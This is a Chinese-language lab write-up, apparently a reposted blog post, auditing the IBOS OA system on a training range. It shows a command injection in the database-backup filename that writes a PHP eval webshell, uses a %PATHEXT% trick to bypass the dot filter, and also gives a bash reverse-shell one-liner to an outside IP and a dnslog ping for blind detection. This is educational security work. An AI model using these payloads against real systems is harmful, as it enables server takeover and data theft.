基礎(chǔ)知識(shí)
命令執(zhí)行:用戶傳入的參數(shù),會(huì)被當(dāng)成系統(tǒng)指令來(lái)執(zhí)行,指令內(nèi)容用戶可控,屬于代碼執(zhí)行的一種
ctrl+u:在view-source模式自動(dòng)換行
危險(xiǎn)函數(shù)
1. system()函數(shù):直接執(zhí)行命令,并且輸出
2. exec()函數(shù):默認(rèn)顯示最后一行結(jié)果,沒(méi)有輸出
3. shell_exec()函數(shù):多行結(jié)果,沒(méi)有輸出
4. passthru()函數(shù):等價(jià)于system()函數(shù)
5. ``(反引號(hào)):反引號(hào)里面的內(nèi)容優(yōu)先執(zhí)行,在linux中較多
6. fopen()函數(shù)
特殊技巧(我也不知道是干啥的技巧)
1. 通過(guò) > 符號(hào),將結(jié)果輸出到某個(gè)文件里面,結(jié)果覆蓋保存
2. 通過(guò) >> 符號(hào),將結(jié)果輸出到某個(gè)文件里面,結(jié)果末尾追加
3. |? 管道符,將前面的指令運(yùn)行結(jié)果,當(dāng)成后面指令的輸入內(nèi)容`ipconfig| findstr "IPv4"`
結(jié)果沒(méi)有輸出(沒(méi)有回顯),怎么判斷是否執(zhí)行
1. 使用dnslog數(shù)據(jù)外帶
`ping -n 1 2.abt1zl.dnslog.cn? # windows 用 -n 指定ping的次數(shù)`
`ping -c 1 2.abt1zl.dnslog.cn? # linux 用 -c 指定ping的次數(shù)`
2. 將指令的結(jié)果輸出到一個(gè)文本文件中,然后去訪問(wèn)這個(gè)文件
disable_function:用于禁止某些函數(shù),接受逗號(hào)分隔的函數(shù)名列表作為參數(shù)
php代碼審計(jì)重點(diǎn)
1. 跟進(jìn)函數(shù)分析 function 函數(shù)名
2. 全局搜索危險(xiǎn)函數(shù)
3. 是否過(guò)濾:sql過(guò)濾通過(guò)正則匹配sql(危險(xiǎn)函數(shù))token綁定,簽名:硬編碼
4. 過(guò)濾能否繞過(guò)
利用思路
1. 寫一個(gè)一句話木馬
2. 反彈shell
?? ?需要一個(gè)能被目標(biāo)訪問(wèn)到的ip和端口
?? ?通過(guò)指令獲得 一個(gè)遠(yuǎn)程的終端 由服務(wù)器主動(dòng)外聯(lián),提供一個(gè)終端的
?? ?bash -i >& /dev/tcp/192.168.189.128/8888 0>&1 2>&1
3. 直接上馬(后門)
?審計(jì)ibos.exe文件
用exe文件搭建環(huán)境的原因:搭建過(guò)程簡(jiǎn)單,對(duì)源碼的保密,源碼通常對(duì)運(yùn)行環(huán)境要求非常苛刻
源碼審計(jì)如何去做:
1. 分析代碼是否加密,使用了加密手法:一般exe文件中內(nèi)容會(huì)加密,可以打開(kāi)文件頭/文件尾查看是否有標(biāo)識(shí)性的特征,搜索后進(jìn)行解密(SeayDzend)
2. 分析源碼:最后可控的變量是在最后面
ibos 使用了 yii 框架(php框架) => 對(duì)標(biāo) thinkphp框架
其他繞過(guò)方法:
&&:與
||:或
&:%26
本地環(huán)境
環(huán)境搭建
點(diǎn)擊exe文件進(jìn)行安裝,預(yù)防后期需要使用瀏覽器查看,將其安裝在網(wǎng)站根目錄下
安裝后會(huì)有框架,所以感覺(jué)安裝在網(wǎng)站根目錄下的選擇有點(diǎn)錯(cuò)誤
安裝界面
安裝完成,打開(kāi)目錄下的文件進(jìn)行查看
發(fā)現(xiàn)有些文件進(jìn)行加密處理過(guò)
針對(duì)這種加密文件,我們可以查看文件頭或者文件尾,尋找其特征,此靶場(chǎng)我們可以發(fā)現(xiàn)文件頭有Zend 2004072203 65540 979 3393 等字段,可以進(jìn)行百度搜索
根據(jù)搜索結(jié)果得知是zend guard 5.5加密
此時(shí)我們可以用百度搜索在線解密軟件,或者直接用軟件:SeayDzend進(jìn)行解密(此靶場(chǎng)使用第二種方法)
發(fā)現(xiàn)軟件最高只有5.4版本,又搜了一下,發(fā)現(xiàn)可能是5.3版本加密,進(jìn)行解密
查看解密后的文件,確定就是5.3版本加密
接下來(lái)進(jìn)行代碼審計(jì),首先搜索危險(xiǎn)函數(shù)system(),沒(méi)啥用
繼續(xù)搜索exec()函數(shù)
?Database.php文件
根據(jù)提示找到漏洞點(diǎn)
執(zhí)行mysqldump命令,通過(guò)查詢將數(shù)據(jù)庫(kù)內(nèi)容的信息(主機(jī)、用戶名、密碼、數(shù)據(jù)庫(kù)名)導(dǎo)入到文件中
mysqldump工具是備份MySQL數(shù)據(jù)庫(kù)的工具,可以將數(shù)據(jù)庫(kù)中的數(shù)據(jù)和結(jié)構(gòu)導(dǎo)出到一個(gè)SQL文件中,以便日后恢復(fù)數(shù)據(jù)。
1. 首先,運(yùn)行mysqldump命令。
2. 指定要備份的數(shù)據(jù)庫(kù)名稱。
3. 可以選擇導(dǎo)出數(shù)據(jù)和結(jié)構(gòu),或只導(dǎo)出其中之一。
4. 將導(dǎo)出的內(nèi)容保存到一個(gè)SQL文件中,以便以后使用。
此時(shí)猜測(cè)此漏洞和數(shù)據(jù)備份功能相關(guān)
其中對(duì)末尾的文件名:$dumpFile進(jìn)行猜測(cè)是否可控
在文件內(nèi)ctrl+f進(jìn)行搜索變量名:$dumpFile,向上查看是否有對(duì)文件名的處理
其中像類似這種的情況不是對(duì)文件名的初始化處理,所以還需要向上尋找
一直找到文件的第353行,根據(jù)unlink函數(shù)猜測(cè)是與刪除文件有關(guān)
繼續(xù)向下讀代碼(352-361行),此段代碼會(huì)將文件刪除后再次進(jìn)行文件的備份
繼續(xù)向上讀代碼,查找要?jiǎng)h除的$dumpFile的來(lái)源(352行)
拼接備份文件的文件名并添加后綴.sql,此時(shí)我們可以使用`xxx||1.php`進(jìn)行繞過(guò)
繼續(xù)向上查找$backupFileName的來(lái)源(239行)
使用正則對(duì)$fileName進(jìn)行匹配,將路徑和文件名進(jìn)行拼接,其中對(duì)文件名中的/(反斜杠)、\\(雙斜杠)、.(點(diǎn))、'(單引號(hào))進(jìn)行過(guò)濾,替換為空,并賦值給$backupFileName
再次跟進(jìn)拼接的變量$fileName(166-171行)
fileName使用getRequest方法得到,
根據(jù)定義的類core\utils\Env,找到core\utils\Env文件,在文件內(nèi)搜索getRequest方法(115-139行)
core\utils\Env(115-139行)
Ibos::app() 調(diào)用靜態(tài)方法獲取應(yīng)用程序的實(shí)例,并從中獲取request對(duì)象
$fileName只傳了一個(gè)參數(shù),所以只有變量key是可控的,同時(shí)變量type的值默認(rèn)是“GP”,所以case選項(xiàng)只有G和P兩個(gè)選擇
當(dāng)type=G的時(shí)候,變量var=request使用$request->getQuery($key, $defaultValue)方法獲取特定鍵的值
此時(shí)我們直接去全局搜索getQuery函數(shù)
判斷是否存在get方式得到的name,如果存在則返回,不存在返回默認(rèn)值(空)
此時(shí)猜想getPost函數(shù)是判斷是否存在post方式得到的name
此時(shí)可以確定env文件中的request變量是接收來(lái)自get或者post傳參,且功能為網(wǎng)站數(shù)據(jù)備份
去網(wǎng)站查看數(shù)據(jù)備份功能
因?yàn)槭菍?duì)數(shù)據(jù)進(jìn)行備份,所以是需要登錄后臺(tái)的
在通用設(shè)置->數(shù)據(jù)庫(kù)中找到備份功能
發(fā)現(xiàn)備份分為ibos備份和自定義備份(差不多的東西,不想說(shuō)了),先嘗試ibos備份功能,點(diǎn)擊提交后使用bp進(jìn)行抓包,沒(méi)看見(jiàn)有可利用的點(diǎn)
再次查看Database文件shell_exec函數(shù)附件,發(fā)現(xiàn)還需要滿足method不等于multivol
發(fā)現(xiàn)下面還有更多的選項(xiàng)(更多選項(xiàng)中包含shell備份和分卷備份,剛開(kāi)始以為兩種方法都能用,后來(lái)發(fā)現(xiàn)ibos就是shell備份寫shell,所以此處還要選擇shell備份),打開(kāi)后發(fā)現(xiàn)有備份文件名,且文件名可以修改,后綴為.sql,聯(lián)想到Database文件中的.sql后綴的繞過(guò),
點(diǎn)擊提交,使用bp抓包,文件名可改,且后綴為.sql
因?yàn)槲募?duì)文件名單引號(hào)過(guò)濾,所以此處包含文件可使用雙引號(hào)和反引號(hào)(我想用雙引號(hào))將文件名改為
%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%26
從而將木馬寫入1.php文件(因?yàn)榇藭r(shí)還對(duì)點(diǎn)進(jìn)行過(guò)濾了,所以我們先嘗試寫入1文件,先測(cè)試此功能是否可行,再研究繞過(guò)問(wèn)題),此時(shí).被過(guò)濾,需要再次尋找繞過(guò)方式
將修改后的數(shù)據(jù)包進(jìn)行放行,此時(shí)再打開(kāi)瀏覽器,出現(xiàn)了報(bào)錯(cuò)(但是沒(méi)事),在當(dāng)前目錄下訪問(wèn)1文件,此時(shí)訪問(wèn)后會(huì)將文件下載,打開(kāi)后發(fā)現(xiàn)將木馬成功寫入
.繞過(guò)
可參考此文章https://bbs.zkaq.cn/t/4557.htm
截取字符串的語(yǔ)法就是 %變量名:~x,y%
PATHEXT在windows中是環(huán)境變量,此時(shí)第一位是.
所以我們可以借助%PATHEXT:~0,1%(其中0,1是指從第0位開(kāi)始取1位)來(lái)得到.
此時(shí)要插入的語(yǔ)句為:%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26
使用bp進(jìn)行抓包,修改數(shù)據(jù)包
放包后訪問(wèn)1.php文件,繞過(guò)成功
靶場(chǎng)環(huán)境
根據(jù)題目提供的賬號(hào)密碼直接登錄(賬號(hào):admin,密碼zkaqzkaq),找到管理后臺(tái) -> 通用設(shè)置 -> 數(shù)據(jù)庫(kù),進(jìn)行備份操作
其中數(shù)據(jù)備份類型隨意選擇即可,更多選項(xiàng)中數(shù)據(jù)備份方式要選擇shell備份
點(diǎn)擊提交后使用bp進(jìn)行抓包,插入木馬語(yǔ)句
%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26
放包后查看網(wǎng)站目錄下的1.php文件,繞過(guò)成功
根據(jù)題目提示:flag在網(wǎng)站的system\\config\\config.php中的authkey的值,所以我們還需要連接哥斯拉進(jìn)行查看flag
找到flag:7441b88SH97Jzndp文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-853286.html
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-853286.html
到了這里,關(guān)于命令執(zhí)行漏洞--ibos靶場(chǎng)(靶場(chǎng)環(huán)境是掌控安全的)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!